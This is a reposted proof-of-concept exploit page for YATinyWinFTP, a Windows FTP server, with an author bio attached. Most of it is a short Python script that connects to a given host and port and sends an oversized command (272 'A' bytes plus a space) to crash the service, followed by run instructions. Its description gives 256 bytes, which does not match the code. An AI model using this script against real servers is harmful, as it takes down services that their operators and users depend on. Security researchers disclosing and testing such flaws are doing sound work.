Sunday, February 25, 2024

YATinyWinFTP – Denial of Service (PoC)

Date: 2020-11-30

CVE: N/A

Platform: WIN

# Exploit Title: YATinyWinFTP - Denial of Service (PoC)
# Google Dork: None
# Exploit Author: strider
# Vendor Homepage: https://github.com/ik80/YATinyWinFTP
# Software Link: https://github.com/ik80/YATinyWinFTP
# Tested on: Windows 10

------------------------------[Description]---------------------------------

This Eyxploit connects to the FTP-Service and sends a command which has a size of 256bytes with an trailing space at the end.
The result it crashes

 -----------------------------[Exploit]---------------------------------------------

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import socket, sys

target = (sys.argv[1], int(sys.argv[2]))
buffer = b'A' * 272 + b'\x20'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
print(s.recv(1024))
s.send(buffer)
s.close()

 -----------------------------[how to run]-----------------------------

C:\> TinyWinFTP.exe servepath port

~$ python3 exploit.py targetip port
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Steven Black (n0tst3)
Hello! I'm Steve, an independent security researcher, and analyst from Scotland, UK. I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated... I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK. I'll often reblog infosec-related articles that I find interesting. On the RiSec website, You'll also find a variety of write-ups, tutorials and much more!

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